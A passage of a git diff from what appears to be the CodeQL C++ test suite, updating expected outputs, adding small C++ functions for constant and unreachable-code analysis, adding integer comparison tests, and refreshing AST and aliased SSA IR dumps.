| +| getClass2 | false | 420 | 420 | getClass2 | diff --git a/cpp/ql/test/library-tests/floats/float128/functions.expected b/cpp/ql/test/library-tests/floats/float128/functions.expected index 75ed9f32d96..d1412363d8f 100644 --- a/cpp/ql/test/library-tests/floats/float128/functions.expected +++ b/cpp/ql/test/library-tests/floats/float128/functions.expected @@ -8,6 +8,8 @@ | operator= | file://:0:0:0:0 | __is_floating_point_helper & | file://:0:0:0:0 | const __is_floating_point_helper & | | operator= | file://:0:0:0:0 | __is_floating_point_helper & | file://:0:0:0:0 | __is_floating_point_helper && | | operator= | file://:0:0:0:0 | __is_floating_point_helper & | file://:0:0:0:0 | const __is_floating_point_helper & | +| operator= | file://:0:0:0:0 | __va_list_tag & | file://:0:0:0:0 | __va_list_tag && | +| operator= | file://:0:0:0:0 | __va_list_tag & | file://:0:0:0:0 | const __va_list_tag & | | operator= | file://:0:0:0:0 | false_type & | file://:0:0:0:0 | const false_type & | | operator= | file://:0:0:0:0 | false_type & | file://:0:0:0:0 | false_type && | | operator= | file://:0:0:0:0 | true_type & | file://:0:0:0:0 | const true_type & | diff --git a/cpp/ql/test/library-tests/functions/functions/FunctionCalls.expected b/cpp/ql/test/library-tests/functions/functions/FunctionCalls.expected index f06cec1dadd..6d6c1cb9ff1 100644 --- a/cpp/ql/test/library-tests/functions/functions/FunctionCalls.expected +++ b/cpp/ql/test/library-tests/functions/functions/FunctionCalls.expected @@ -1,3 +1,3 @@ -| ODASA-5186.cpp:17:13:17:13 | call to operator!= | file://:0:0:0:0 | operator!= | -| ODASA-5186.hpp:4:83:4:83 | call to operator== | ODASA-5186.cpp:5:8:5:17 | operator== | +| ODASA-5186.cpp:17:13:17:13 | call to operator!= | ODASA-5186.hpp:4:18:4:27 | operator!= | +| ODASA-5186.hpp:4:83:4:83 | call to operator== | ODASA-5186.cpp:5:8:5:8 | operator== | | functions.cpp:16:4:16:5 | call to ag | functions.cpp:11:7:11:8 | ag | diff --git a/cpp/ql/test/library-tests/functions/functions/Functions1.expected b/cpp/ql/test/library-tests/functions/functions/Functions1.expected index d812efa9739..20b89210722 100644 --- a/cpp/ql/test/library-tests/functions/functions/Functions1.expected +++ b/cpp/ql/test/library-tests/functions/functions/Functions1.expected @@ -1,14 +1,16 @@ | ODASA-5186.cpp:4:8:4:8 | operator= | operator= | | | ODASA-5186.cpp:4:8:4:8 | declaration | | ODASA-5186.cpp:4:8:4:8 | operator= | operator= | | | ODASA-5186.cpp:4:8:4:8 | declaration | +| ODASA-5186.cpp:5:8:5:8 | operator== | operator== | | | ODASA-5186.cpp:5:8:5:8 | declaration | +| ODASA-5186.cpp:5:8:5:8 | operator== | operator== | | | ODASA-5186.cpp:5:8:5:8 | definition | | ODASA-5186.cpp:5:8:5:17 | operator== | operator== | | | ODASA-5186.cpp:5:8:5:17 | declaration | -| ODASA-5186.cpp:5:8:5:17 | operator== | operator== | | | ODASA-5186.cpp:5:8:5:17 | declaration | -| ODASA-5186.cpp:5:8:5:17 | operator== | operator== | | | ODASA-5186.cpp:5:8:5:17 | definition | | ODASA-5186.cpp:5:8:5:17 | operator== | operator== | | | ODASA-5186.cpp:5:8:5:17 | definition | | ODASA-5186.cpp:8:6:8:9 | test | test | isTopLevel | TopLevelFunction | ODASA-5186.cpp:8:6:8:9 | declaration | | ODASA-5186.cpp:8:6:8:9 | test | test | isTopLevel | TopLevelFunction | ODASA-5186.cpp:8:6:8:9 | definition | | ODASA-5186.hpp:2:8:2:8 | operator= | operator= | | | ODASA-5186.hpp:2:8:2:8 | declaration | | ODASA-5186.hpp:2:8:2:8 | operator= | operator= | | | ODASA-5186.hpp:2:8:2:8 | declaration | | ODASA-5186.hpp:4:18:4:27 | operator!= | operator!= | isTopLevel | TopLevelFunction | ODASA-5186.hpp:4:18:4:27 | declaration | +| ODASA-5186.hpp:4:18:4:27 | operator!= | operator!= | isTopLevel | TopLevelFunction | ODASA-5186.hpp:4:18:4:27 | declaration | +| ODASA-5186.hpp:4:18:4:27 | operator!= | operator!= | isTopLevel | TopLevelFunction | ODASA-5186.hpp:4:18:4:27 | definition | | ODASA-5186.hpp:4:18:4:27 | operator!= | operator!= | isTopLevel | TopLevelFunction | ODASA-5186.hpp:4:18:4:27 | definition | | functions.cpp:1:6:1:6 | f | f | isTopLevel | TopLevelFunction | functions.cpp:1:6:1:6 | declaration | | functions.cpp:1:6:1:6 | f | f | isTopLevel | TopLevelFunction | functions.cpp:1:6:1:6 | definition | diff --git a/cpp/ql/test/library-tests/functions/functions/Functions2.expected b/cpp/ql/test/library-tests/functions/functions/Functions2.expected index 91de943e049..7dbd0c5de8b 100644 --- a/cpp/ql/test/library-tests/functions/functions/Functions2.expected +++ b/cpp/ql/test/library-tests/functions/functions/Functions2.expected @@ -1,7 +1,7 @@ | ODASA-5186.cpp:4:8:4:14 | MyClass | Class | ODASA-5186.cpp:5:8:5:17 | operator== | member function | | ODASA-5186.cpp:4:8:4:14 | MyClass | Struct | ODASA-5186.cpp:4:8:4:8 | operator= | member function | | ODASA-5186.cpp:4:8:4:14 | MyClass | Struct | ODASA-5186.cpp:4:8:4:8 | operator= | member function | -| ODASA-5186.cpp:4:8:4:14 | MyClass | Struct | ODASA-5186.cpp:5:8:5:17 | operator== | member function | +| ODASA-5186.cpp:4:8:4:14 | MyClass | Struct | ODASA-5186.cpp:5:8:5:8 | operator== | member function | | ODASA-5186.hpp:2:8:2:17 | NEQ_helper> | Struct | ODASA-5186.hpp:2:8:2:8 | operator= | member function | | ODASA-5186.hpp:2:8:2:17 | NEQ_helper> | Struct | ODASA-5186.hpp:2:8:2:8 | operator= | member function | | file://:0:0:0:0 | __va_list_tag | Struct | file://:0:0:0:0 | operator= | member function | diff --git a/cpp/ql/test/library-tests/functions/qualifiers/test.expected b/cpp/ql/test/library-tests/functions/qualifiers/test.expected index a7f8ef34c91..0e60569320e 100644 --- a/cpp/ql/test/library-tests/functions/qualifiers/test.expected +++ b/cpp/ql/test/library-tests/functions/qualifiers/test.expected @@ -1 +1,2 @@ | file://:0:0:0:0 | ..(..) | true | +| file://:0:0:0:0 | const __va_list_tag | true | diff --git a/cpp/ql/test/library-tests/instantiations/test.expected b/cpp/ql/test/library-tests/instantiations/test.expected index 44db55b6b37..3e23680b5fb 100644 --- a/cpp/ql/test/library-tests/instantiations/test.expected +++ b/cpp/ql/test/library-tests/instantiations/test.expected @@ -28,6 +28,6 @@ | test.cpp:19:7:19:7 | C | | test.cpp:19:7:19:7 | operator= | | test.cpp:19:7:19:7 | operator= | -| test.cpp:21:18:21:21 | vfun | +| test.cpp:21:18:21:18 | vfun | | test.cpp:21:18:21:21 | vfun | | test.cpp:27:6:27:6 | f | diff --git a/cpp/ql/test/library-tests/ir/constant_func/constant_func.cpp b/cpp/ql/test/library-tests/ir/constant_func/constant_func.cpp index 107d79da46b..eb5bc7d22db 100644 --- a/cpp/ql/test/library-tests/ir/constant_func/constant_func.cpp +++ b/cpp/ql/test/library-tests/ir/constant_func/constant_func.cpp @@ -30,3 +30,41 @@ int ReturnConstantPhiLoop(int x) { } return y; } + +int UnreachableViaGoto() { + goto skip; + return 1; +skip: + return 0; +} + +int UnreachableIf(bool b) { + int x = 5; + int y = 10; + if (b) { + if (x == y) { + return 1; + } + else { + return 0; + } + } + else { + if (x < y) { + return 0; + } + else { + return 1; + } + } +} + +int DoWhileFalse() { + int i = 0; + do { + i++; + } while (false); + + return i; +} + diff --git a/cpp/ql/test/library-tests/ir/constant_func/constant_func.expected b/cpp/ql/test/library-tests/ir/constant_func/constant_func.expected index 7aebdccfdfb..3cba189a0ab 100644 --- a/cpp/ql/test/library-tests/ir/constant_func/constant_func.expected +++ b/cpp/ql/test/library-tests/ir/constant_func/constant_func.expected @@ -1,3 +1,6 @@ | constant_func.cpp:1:5:1:18 | IR: ReturnConstant | 7 | | constant_func.cpp:5:5:5:21 | IR: ReturnConstantPhi | 7 | | constant_func.cpp:25:5:25:25 | IR: ReturnConstantPhiLoop | 7 | +| constant_func.cpp:34:5:34:22 | IR: UnreachableViaGoto | 0 | +| constant_func.cpp:41:5:41:17 | IR: UnreachableIf | 0 | +| constant_func.cpp:62:5:62:16 | IR: DoWhileFalse | 1 | diff --git a/cpp/ql/test/library-tests/ir/constant_func/constant_func.ql b/cpp/ql/test/library-tests/ir/constant_func/constant_func.ql index 54d29000fdd..e03c3f344dc 100644 --- a/cpp/ql/test/library-tests/ir/constant_func/constant_func.ql +++ b/cpp/ql/test/library-tests/ir/constant_func/constant_func.ql @@ -1,29 +1,8 @@ import default import semmle.code.cpp.ir.IR +import semmle.code.cpp.ir.implementation.aliased_ssa.constant.ConstantAnalysis import semmle.code.cpp.ir.internal.IntegerConstant -language[monotonicAggregates] -IntValue getConstantValue(Instruction instr) { - result = instr.(IntegerConstantInstruction).getValue().toInt() or - exists(BinaryInstruction binInstr, IntValue left, IntValue right | - binInstr = instr and - left = getConstantValue(binInstr.getLeftOperand()) and - right = getConstantValue(binInstr.getRightOperand()) and - ( - binInstr instanceof AddInstruction and result = add(left, right) or - binInstr instanceof SubInstruction and result = sub(left, right) or - binInstr instanceof MulInstruction and result = mul(left, right) or - binInstr instanceof DivInstruction and result = div(left, right) - ) - ) or - result = getConstantValue(instr.(CopyInstruction).getSourceValue()) or - exists(PhiInstruction phi | - phi = instr and - result = max(PhiOperand operand | operand = phi.getAnOperand() | getConstantValue(operand.getDefinitionInstruction())) and - result = min(PhiOperand operand | operand = phi.getAnOperand() | getConstantValue(operand.getDefinitionInstruction())) - ) -} - from FunctionIR funcIR, int value where value = getValue(getConstantValue(funcIR.getReturnInstruction().(ReturnValueInstruction).getReturnValue())) diff --git a/cpp/ql/test/library-tests/ir/constants/constants.expected b/cpp/ql/test/library-tests/ir/constants/constants.expected index 6c555a03b21..c617b0470ca 100644 --- a/cpp/ql/test/library-tests/ir/constants/constants.expected +++ b/cpp/ql/test/library-tests/ir/constants/constants.expected @@ -21,15 +21,49 @@ | -1 * -INT_MAX | 2147483647 | | -1 - -INT_MAX | 2147483646 | | -1 - INT_MAX | unknown | +| -3 != 6 | 1 | +| -3 != -3 | 0 | +| -3 != unknown | unknown | +| -3 < 6 | 1 | +| -3 < -3 | 0 | +| -3 < -7 | 0 | +| -3 < unknown | unknown | +| -3 <= 6 | 1 | +| -3 <= -3 | 1 | +| -3 <= -7 | 0 | +| -3 <= unknown | unknown | +| -3 == 6 | 0 | +| -3 == -3 | 1 | +| -3 == unknown | unknown | +| -3 > 6 | 0 | +| -3 > -3 | 0 | +| -3 > -7 | 1 | +| -3 > unknown | unknown | +| -3 >= 6 | 0 | +| -3 >= -3 | 1 | +| -3 >= -7 | 1 | +| -3 >= unknown | unknown | | -35 / 7 | -5 | | -35 / 8 | -4 | | -35 / -7 | 5 | | -35 / -8 | 4 | | INT_MAX * INT_MAX | unknown | | INT_MAX / 0 | unknown | +| unknown != 6 | unknown | +| unknown != unknown | unknown | | unknown + 5 | unknown | | unknown + unknown | unknown | | unknown - 5 | unknown | | unknown - unknown | unknown | | unknown / 3 | unknown | | unknown / unknown | unknown | +| unknown < 6 | unknown | +| unknown < unknown | unknown | +| unknown <= 6 | unknown | +| unknown <= unknown | unknown | +| unknown == 6 | unknown | +| unknown == unknown | unknown | +| unknown > 6 | unknown | +| unknown > unknown | unknown | +| unknown >= 6 | unknown | +| unknown >= unknown | unknown | diff --git a/cpp/ql/test/library-tests/ir/constants/constants.ql b/cpp/ql/test/library-tests/ir/constants/constants.ql index 2ced465edef..14528e70f58 100644 --- a/cpp/ql/test/library-tests/ir/constants/constants.ql +++ b/cpp/ql/test/library-tests/ir/constants/constants.ql @@ -45,5 +45,39 @@ where expr = "INT_MAX / 0" and res = Ints::div(Ints::maxValue(), 0) or expr = "0 / unknown" and res = Ints::div(0, Ints::unknown()) or expr = "unknown / 3" and res = Ints::div(Ints::unknown(), 3) or - expr = "unknown / unknown" and res = Ints::div(Ints::unknown(), Ints::unknown()) + expr = "unknown / unknown" and res = Ints::div(Ints::unknown(), Ints::unknown()) or + expr = "-3 == -3" and res = Ints::compareEQ(-3, -3) or + expr = "-3 == 6" and res = Ints::compareEQ(-3, 6) or + expr = "-3 == unknown" and res = Ints::compareEQ(-3, Ints::unknown()) or + expr = "unknown == 6" and res = Ints::compareEQ(Ints::unknown(), 6) or + expr = "unknown == unknown" and res = Ints::compareEQ(Ints::unknown(), Ints::unknown()) or + expr = "-3 != -3" and res = Ints::compareNE(-3, -3) or + expr = "-3 != 6" and res = Ints::compareNE(-3, 6) or + expr = "-3 != unknown" and res = Ints::compareNE(-3, Ints::unknown()) or + expr = "unknown != 6" and res = Ints::compareNE(Ints::unknown(), 6) or + expr = "unknown != unknown" and res = Ints::compareNE(Ints::unknown(), Ints::unknown()) or + expr = "-3 < -3" and res = Ints::compareLT(-3, -3) or + expr = "-3 < 6" and res = Ints::compareLT(-3, 6) or + expr = "-3 < -7" and res = Ints::compareLT(-3, -7) or + expr = "-3 < unknown" and res = Ints::compareLT(-3, Ints::unknown()) or + expr = "unknown < 6" and res = Ints::compareLT(Ints::unknown(), 6) or + expr = "unknown < unknown" and res = Ints::compareLT(Ints::unknown(), Ints::unknown()) or + expr = "-3 > -3" and res = Ints::compareGT(-3, -3) or + expr = "-3 > 6" and res = Ints::compareGT(-3, 6) or + expr = "-3 > -7" and res = Ints::compareGT(-3, -7) or + expr = "-3 > unknown" and res = Ints::compareGT(-3, Ints::unknown()) or + expr = "unknown > 6" and res = Ints::compareGT(Ints::unknown(), 6) or + expr = "unknown > unknown" and res = Ints::compareGT(Ints::unknown(), Ints::unknown()) or + expr = "-3 <= -3" and res = Ints::compareLE(-3, -3) or + expr = "-3 <= 6" and res = Ints::compareLE(-3, 6) or + expr = "-3 <= -7" and res = Ints::compareLE(-3, -7) or + expr = "-3 <= unknown" and res = Ints::compareLE(-3, Ints::unknown()) or + expr = "unknown <= 6" and res = Ints::compareLE(Ints::unknown(), 6) or + expr = "unknown <= unknown" and res = Ints::compareLE(Ints::unknown(), Ints::unknown()) or + expr = "-3 >= -3" and res = Ints::compareGE(-3, -3) or + expr = "-3 >= 6" and res = Ints::compareGE(-3, 6) or + expr = "-3 >= -7" and res = Ints::compareGE(-3, -7) or + expr = "-3 >= unknown" and res = Ints::compareGE(-3, Ints::unknown()) or + expr = "unknown >= 6" and res = Ints::compareGE(Ints::unknown(), 6) or + expr = "unknown >= unknown" and res = Ints::compareGE(Ints::unknown(), Ints::unknown()) select expr, resultString(res) diff --git a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected index 19784c3c0c1..3959da83449 100644 --- a/cpp/ql/test/library-tests/ir/ir/PrintAST.expected +++ b/cpp/ql/test/library-tests/ir/ir/PrintAST.expected @@ -1,7 +1,11 @@ -#-----| __va_list_tag::operator=() -> __va_list_tag & +#-----| __va_list_tag::operator=(__va_list_tag &&) -> __va_list_tag & #-----| params: -#-----| __va_list_tag::operator=() -> __va_list_tag & +#-----| 0: p#0 +#-----| Type = __va_list_tag && +#-----| __va_list_tag::operator=(const __va_list_tag &) -> __va_list_tag & #-----| params: +#-----| 0: p#0 +#-----| Type = const __va_list_tag & #-----| operator delete(void *, unsigned long) -> void #-----| params: #-----| 0: p#0 @@ -3321,10 +3325,10 @@ ir.cpp: # 504| expr: {...} # 504| Type = Point # 504| ValueCategory = prvalue -# 504| 0: x +# 504| .x: x # 504| Type = int # 504| ValueCategory = prvalue(load) -# 504| 1: (int)... +# 504| .y: (int)... # 504| Conversion = floating point to integral conversion # 504| Type = int # 504| ValueCategory = prvalue @@ -3338,7 +3342,7 @@ ir.cpp: # 505| expr: {...} # 505| Type = Point # 505| ValueCategory = prvalue -# 505| 0: x +# 505| .x: x # 505| Type = int # 505| ValueCategory = prvalue(load) # 506| 2: declaration @@ -3386,13 +3390,13 @@ ir.cpp: # 514| expr: {...} # 514| Type = Rect # 514| ValueCategory = prvalue -# 514| 0: {...} +# 514| .topLeft: {...} # 514| Type = Point # 514| ValueCategory = prvalue -# 514| 0: x +# 514| .x: x # 514| Type = int # 514| ValueCategory = prvalue(load) -# 514| 1: (int)... +# 514| .y: (int)... # 514| Conversion = floating point to integral conversion # 514| Type = int # 514| ValueCategory = prvalue @@ -3406,26 +3410,26 @@ ir.cpp: # 515| expr: {...} # 515| Type = Rect # 515| ValueCategory = prvalue -# 515| 0: {...} +# 515| .topLeft: {...} # 515| Type = Point # 515| ValueCategory = prvalue -# 515| 0: x +# 515| .x: x # 515| Type = int # 515| ValueCategory = prvalue(load) -# 515| 1: (int)... +# 515| .y: (int)... # 515| Conversion = floating point to integral conversion # 515| Type = int # 515| ValueCategory = prvalue # 515| expr: f # 515| Type = float # 515| ValueCategory = prvalue(load) -# 515| 1: {...} +# 515| .bottomRight: {...} # 515| Type = Point # 515| ValueCategory = prvalue -# 515| 0: x +# 515| .x: x # 515| Type = int # 515| ValueCategory = prvalue(load) -# 515| 1: (int)... +# 515| .y: (int)... # 515| Conversion = floating point to integral conversion # 515| Type = int # 515| ValueCategory = prvalue @@ -3439,16 +3443,16 @@ ir.cpp: # 516| expr: {...} # 516| Type = Rect # 516| ValueCategory = prvalue -# 516| 0: {...} +# 516| .topLeft: {...} # 516| Type = Point # 516| ValueCategory = prvalue -# 516| 0: x +# 516| .x: x # 516| Type = int # 516| ValueCategory = prvalue(load) -# 516| 1: {...} +# 516| .bottomRight: {...} # 516| Type = Point # 516| ValueCategory = prvalue -# 516| 0: x +# 516| .x: x # 516| Type = int # 516| ValueCategory = prvalue(load) # 517| 4: return ... @@ -3473,17 +3477,17 @@ ir.cpp: # 521| expr: {...} # 521| Type = int[3] # 521| ValueCategory = prvalue -# 521| 0: x +# 521| [0]: x # 521| Type = int # 521| ValueCategory = prvalue(load) -# 521| 1: (int)... +# 521| [1]: (int)... # 521| Conversion = floating point to integral conversion # 521| Type = int # 521| ValueCategory = prvalue # 521| expr: f # 521| Type = float # 521| ValueCategory = prvalue(load) -# 521| 2: 0 +# 521| [2]: 0 # 521| Type = int # 521| Value = 0 # 521| ValueCategory = prvalue @@ -3494,7 +3498,7 @@ ir.cpp: # 522| expr: {...} # 522| Type = int[3] # 522| ValueCategory = prvalue -# 522| 0: x +# 522| [0]: x # 522| Type = int # 522| ValueCategory = prvalue(load) # 523| 3: return ... @@ -3520,7 +3524,7 @@ ir.cpp: # 531| expr: {...} # 531| Type = U # 531| ValueCategory = prvalue -# 531| 0: (double)... +# 531| .d: (double)... # 531| Conversion = floating point conversion # 531| Type = double # 531| ValueCategory = prvalue @@ -3704,7 +3708,7 @@ ir.cpp: # 577| expr: {...} # 577| Type = char[2] # 577| ValueCategory = prvalue -# 577| 0: (char)... +# 577| [0]: (char)... # 577| Conversion = integral conversion # 577| Type = char # 577| Value = 0 @@ -3720,7 +3724,7 @@ ir.cpp: # 578| expr: {...} # 578| Type = char[2] # 578| ValueCategory = prvalue -# 578| 0: (char)... +# 578| [0]: (char)... # 578| Conversion = integral conversion # 578| Type = char # 578| Value = 0 @@ -3729,7 +3733,7 @@ ir.cpp: # 578| Type = int # 578| Value = 0 # 578| ValueCategory = prvalue -# 578| 1: (char)... +# 578| [1]: (char)... # 578| Conversion = integral conversion # 578| Type = char # 578| Value = 1 @@ -3745,7 +3749,7 @@ ir.cpp: # 579| expr: {...} # 579| Type = char[3] # 579| ValueCategory = prvalue -# 579| 0: (char)... +# 579| [0]: (char)... # 579| Conversion = integral conversion # 579| Type = char # 579| Value = 0 @@ -6368,7 +6372,7 @@ ir.cpp: # 954| 1: {...} # 954| Type = String[] # 954| ValueCategory = prvalue -# 954| 0: call to String +# 954| [0]: call to String # 954| Type = void # 954| ValueCategory = prvalue # 954| 2: n @@ -6410,7 +6414,7 @@ ir.cpp: # 957| 1: {...} # 957| Type = DefaultCtorWithDefaultParam[] # 957| ValueCategory = prvalue -# 957| 0: call to DefaultCtorWithDefaultParam +# 957| [0]: call to DefaultCtorWithDefaultParam # 957| Type = void # 957| ValueCategory = prvalue # 957| 2: n @@ -6423,15 +6427,15 @@ ir.cpp: # 958| 1: {...} # 958| Type = int[3] # 958| ValueCategory = prvalue -# 958| 0: 0 +# 958| [0]: 0 # 958| Type = int # 958| Value = 0 # 958| ValueCategory = prvalue -# 958| 1: 1 +# 958| [1]: 1 # 958| Type = int # 958| Value = 1 # 958| ValueCategory = prvalue -# 958| 2: 2 +# 958| [2]: 2 # 958| Type = int # 958| Value = 2 # 958| ValueCategory = prvalue @@ -6449,11 +6453,11 @@ ir.cpp: # 962| expr: {...} # 962| Type = int[1000] # 962| ValueCategory = prvalue -# 962| 0: 10002 +# 962| [2]: 10002 # 962| Type = int # 962| Value = 10002 # 962| ValueCategory = prvalue -# 962| 1: 10900 +# 962| [900]: 10900 # 962| Type = int # 962| Value = 10900 # 962| ValueCategory = prvalue @@ -6587,3 +6591,194 @@ ir.cpp: # 983| ValueCategory = prvalue(load) # 983| 1: { ... } # 985| 3: return ... +# 1005| ChiPhiNode(Point *, bool, bool) -> int +# 1005| params: +# 1005| 0: p +# 1005| Type = Point * +# 1005| 1: which1 +# 1005| Type = bool +# 1005| 2: which2 +# 1005| Type = bool +# 1005| body: { ... } +# 1006| 0: if (...) ... +# 1006| 0: which1 +# 1006| Type = bool +# 1006| ValueCategory = prvalue(load) +# 1006| 1: { ... } +# 1007| 0: ExprStmt +# 1007| 0: ... ++ +# 1007| Type = int +# 1007| ValueCategory = prvalue +# 1007| 0: x +# 1007| Type = int +# 1007| ValueCategory = lvalue +# 1007| -1: p +# 1007| Type = Point * +# 1007| ValueCategory = prvalue(load) +# 1008| 2: { ... } +# 1009| 0: ExprStmt +# 1009| 0: ... ++ +# 1009| Type = int +# 1009| ValueCategory = prvalue +# 1009| 0: y +# 1009| Type = int +# 1009| ValueCategory = lvalue +# 1009| -1: p +# 1009| Type = Point * +# 1009| ValueCategory = prvalue(load) +# 1012| 1: if (...) ... +# 1012| 0: which2 +# 1012| Type = bool +# 1012| ValueCategory = prvalue(load) +# 1012| 1: { ... } +# 1013| 0: ExprStmt +# 1013| 0: ... ++ +# 1013| Type = int +# 1013| ValueCategory = prvalue +# 1013| 0: x +# 1013| Type = int +# 1013| ValueCategory = lvalue +# 1013| -1: p +# 1013| Type = Point * +# 1013| ValueCategory = prvalue(load) +# 1014| 2: { ... } +# 1015| 0: ExprStmt +# 1015| 0: ... ++ +# 1015| Type = int +# 1015| ValueCategory = prvalue +# 1015| 0: y +# 1015| Type = int +# 1015| ValueCategory = lvalue +# 1015| -1: p +# 1015| Type = Point * +# 1015| ValueCategory = prvalue(load) +# 1018| 2: return ... +# 1018| 0: ... + ... +# 1018| Type = int +# 1018| ValueCategory = prvalue +# 1018| 0: x +# 1018| Type = int +# 1018| ValueCategory = prvalue(load) +# 1018| -1: p +# 1018| Type = Point * +# 1018| ValueCategory = prvalue(load) +# 1018| 1: y +# 1018| Type = int +# 1018| ValueCategory = prvalue(load) +# 1018| -1: p +# 1018| Type = Point * +# 1018| ValueCategory = prvalue(load) +# 1021| UnreachableViaGoto() -> int +# 1021| params: +# 1021| body: { ... } +# 1022| 0: goto ... +# 1023| 1: return ... +# 1023| 0: 1 +# 1023| Type = int +# 1023| Value = 1 +# 1023| ValueCategory = prvalue +# 1024| 2: label ...: +# 1025| 3: return ... +# 1025| 0: 0 +# 1025| Type = int +# 1025| Value = 0 +# 1025| ValueCategory = prvalue +# 1028| UnreachableIf(bool) -> int +# 1028| params: +# 1028| 0: b +# 1028| Type = bool +# 1028| body: { ... } +# 1029| 0: declaration +# 1029| 0: definition of x +# 1029| Type = int +# 1029| init: initializer for x +# 1029| expr: 5 +# 1029| Type = int +# 1029| Value = 5 +# 1029| ValueCategory = prvalue +# 1030| 1: declaration +# 1030| 0: definition of y +# 1030| Type = int +# 1030| init: initializer for y +# 1030| expr: 10 +# 1030| Type = int +# 1030| Value = 10 +# 1030| ValueCategory = prvalue +# 1031| 2: if (...) ... +# 1031| 0: b +# 1031| Type = bool +# 1031| ValueCategory = prvalue(load) +# 1031| 1: { ... } +# 1032| 0: if (...) ... +# 1032| 0: ... == ... +# 1032| Type = bool +# 1032| ValueCategory = prvalue +# 1032| 0: x +# 1032| Type = int +# 1032| ValueCategory = prvalue(load) +# 1032| 1: y +# 1032| Type = int +# 1032| ValueCategory = prvalue(load) +# 1032| 1: { ... } +# 1033| 0: return ... +# 1033| 0: 1 +# 1033| Type = int +# 1033| Value = 1 +# 1033| ValueCategory = prvalue +# 1035| 2: { ... } +# 1036| 0: return ... +# 1036| 0: 0 +# 1036| Type = int +# 1036| Value = 0 +# 1036| ValueCategory = prvalue +# 1039| 2: { ... } +# 1040| 0: if (...) ... +# 1040| 0: ... < ... +# 1040| Type = bool +# 1040| ValueCategory = prvalue +# 1040| 0: x +# 1040| Type = int +# 1040| ValueCategory = prvalue(load) +# 1040| 1: y +# 1040| Type = int +# 1040| ValueCategory = prvalue(load) +# 1040| 1: { ... } +# 1041| 0: return ... +# 1041| 0: 0 +# 1041| Type = int +# 1041| Value = 0 +# 1041| ValueCategory = prvalue +# 1043| 2: { ... } +# 1044| 0: return ... +# 1044| 0: 1 +# 1044| Type = int +# 1044| Value = 1 +# 1044| ValueCategory = prvalue +# 1049| DoWhileFalse() -> int +# 1049| params: +# 1049| body: { ... } +# 1050| 0: declaration +# 1050| 0: definition of i +# 1050| Type = int +# 1050| init: initializer for i +# 1050| expr: 0 +# 1050| Type = int +# 1050| Value = 0 +# 1050| ValueCategory = prvalue +# 1051| 1: do (...) ... +# 1053| 0: 0 +# 1053| Type = bool +# 1053| Value = 0 +# 1053| ValueCategory = prvalue +# 1051| 1: { ... } +# 1052| 0: ExprStmt +# 1052| 0: ... ++ +# 1052| Type = int +# 1052| ValueCategory = prvalue +# 1052| 0: i +# 1052| Type = int +# 1052| ValueCategory = lvalue +# 1055| 2: return ... +# 1055| 0: i +# 1055| Type = int +# 1055| ValueCategory = prvalue(load) diff --git a/cpp/ql/test/library-tests/ir/ir/aliased_ssa_ir.expected b/cpp/ql/test/library-tests/ir/ir/aliased_ssa_ir.expected index ab7f7ae43cb..74b2b67f6cd 100644 --- a/cpp/ql/test/library-tests/ir/ir/aliased_ssa_ir.expected +++ b/cpp/ql/test/library-tests/ir/ir/aliased_ssa_ir.expected @@ -1,1047 +1,1076 @@ bad_asts.cpp: # 14| Bad::CallBadMemberFunction() -> void # 14| Block 0 -# 14| v0_0(void) = EnterFunction : -# 14| mu0_1(unknown) = UnmodeledDefinition : -# 15| r0_2(glval) = VariableAddress[s] : -# 15| mu0_3(S) = Uninitialized : r0_2 -# 15| r0_4(glval) = FieldAddress[x] : r0_2 -# 15| r0_5(int) = Constant[0] : -# 15| mu0_6(int) = Store : r0_4, r0_5 -# 16| r0_7(glval) = VariableAddress[s] : -# 16| r0_8(glval) = FunctionAddress[MemberFunction] : -# 16| r0_9(int) = Constant[1] : -# 16| r0_10(int) = Call : r0_8, this:r0_7, r0_9 -# 17| v0_11(void) = NoOp : -# 14| v0_12(void) = ReturnVoid : -# 14| v0_13(void) = UnmodeledUse : mu* -# 14| v0_14(void) = ExitFunction : +# 14| v0_0(void) = EnterFunction : +# 14| m0_1(unknown) = AliasedDefinition : +# 14| mu0_2(unknown) = UnmodeledDefinition : +# 15| r0_3(glval) = VariableAddress[s] : +# 15| m0_4(S) = Uninitialized[s] : r0_3 +# 15| m0_5(unknown) = Chi : m0_1, m0_4 +# 15| r0_6(glval) = FieldAddress[x] : r0_3 +# 15| r0_7(int) = Constant[0] : +# 15| m0_8(int) = Store : r0_6, r0_7 +# 15| m0_9(unknown) = Chi : m0_5, m0_8 +# 16| r0_10(glval) = VariableAddress[s] : +# 16| r0_11(glval) = FunctionAddress[MemberFunction] : +# 16| r0_12(int) = Constant[1] : +# 16| r0_13(int) = Call : r0_11, this:r0_10, r0_12 +# 16| m0_14(unknown) = ^CallSideEffect : m0_9 +# 16| m0_15(unknown) = Chi : m0_9, m0_14 +# 17| v0_16(void) = NoOp : +# 14| v0_17(void) = ReturnVoid : +# 14| v0_18(void) = UnmodeledUse : mu* +# 14| v0_19(void) = ExitFunction : # 22| Bad::Point::Point() -> void # 22| Block 0 # 22| v0_0(void) = EnterFunction : -# 22| mu0_1(unknown) = UnmodeledDefinition : -# 22| r0_2(glval) = InitializeThis : -# 23| v0_3(void) = NoOp : -# 22| v0_4(void) = ReturnVoid : -# 22| v0_5(void) = UnmodeledUse : mu* -# 22| v0_6(void) = ExitFunction : +# 22| m0_1(unknown) = AliasedDefinition : +# 22| mu0_2(unknown) = UnmodeledDefinition : +# 22| r0_3(glval) = InitializeThis : +# 23| v0_4(void) = NoOp : +# 22| v0_5(void) = ReturnVoid : +# 22| v0_6(void) = UnmodeledUse : mu* +# 22| v0_7(void) = ExitFunction : # 26| Bad::CallCopyConstructor(const Point &) -> void # 26| Block 0 # 26| v0_0(void) = EnterFunction : -# 26| mu0_1(unknown) = UnmodeledDefinition : -# 26| r0_2(glval) = VariableAddress[a] : -# 26| m0_3(Point &) = InitializeParameter[a] : r0_2 -# 27| r0_4(glval) = VariableAddress[b] : -# 27| r0_5(glval) = VariableAddress[a] : -# 27| r0_6(Point &) = Load : r0_5, m0_3 -# 27| r0_7(glval) = Convert : r0_6 -# 27| r0_8(Point) = Load : r0_7, mu0_1 -# 27| m0_9(Point) = Store : r0_4, r0_8 -# 28| v0_10(void) = NoOp : -# 26| v0_11(void) = ReturnVoid : -# 26| v0_12(void) = UnmodeledUse : mu* -# 26| v0_13(void) = ExitFunction : +# 26| m0_1(unknown) = AliasedDefinition : +# 26| mu0_2(unknown) = UnmodeledDefinition : +# 26| r0_3(glval) = VariableAddress[a] : +# 26| m0_4(Point &) = 